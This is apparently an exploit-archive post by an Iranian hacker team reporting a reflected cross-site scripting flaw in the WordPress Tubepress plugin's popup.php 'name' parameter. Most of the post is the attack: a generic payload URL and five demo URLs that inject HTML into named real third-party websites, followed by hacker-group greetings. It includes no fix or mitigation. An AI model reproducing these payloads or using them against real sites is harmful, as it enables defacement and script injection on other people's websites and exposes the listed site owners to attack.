[^][^][^][^][^][^][^][^][^][^][^]
[^] Exploit Title : Wordpress Tubepress Plugin v 2 Cross Site Scripting
[^] Exploit Author : Ashiyane Digital Security Team
[^] Vendor Homepage : https://wordpress.org/plugins/tubepress/
[^] Date: 13 Jan 2016
[^] Tested On : Win 10 | CyberFox Browser & Kali Linux | IceWeasel
[^]
[^][^][^][^][^][^][^][^][^][^][^]
[^] Vulnerable PHP File = common/ui/popup.php OR common/popup.php
[^] Vulnerable Parameter = name
[^]
[^] Attack Like :site/wp-content/plugins/tubepress/common/popup.php?name=[XSS]
[^]
[^][^][^][^][^][^][^][^][^][^][^]
[^] Demos :
[^]
[^]  
http://inmafoundation.org/wp-content/plugins/tubepress/common/popup.php?name=</title><font  
color=white>Ashiyane</font>
[^]
[^]  
http://www.frenzygraphics.com/wp-content/plugins/tubepress/common/popup.php?name=</title><font  
color=white>Ashiyane</font>
[^]
[^]  
http://www.brothersgonnaworkitout.com/clientarea/greenparty/wp-content/plugins/tubepress/common/popup.php?name=</title><font  
color=white>Ashiyane</font>
[^]
[^]  
http://www.twisters.info/wp-content/plugins/tubepress/common/popup.php?name=</title><font  
color=white>Ashiyane</font>
[^]
[^]  
http://trueworldonline.com/wordpress/wp-content/plugins/tubepress/common/popup.php?name=</title><font  
color=white>Ashiyane</font>
[^]
[^][^][^][^][^][^][^][^][^][^][^]
[^] Discovered by : Ac!D
[^] tnQ: EhSan D3s!6n37 ,H.empire , M.hidden , Linx64 , B0z0rgmehr ,  
Maziar , N3TC@T
[^] M.a.M.a.D ,  M.hacking , Sh.BlackHAT , V For vendetta , Sh.Cloner & Hassan
[^][^][^][^][^][^][^][^][^][^][^]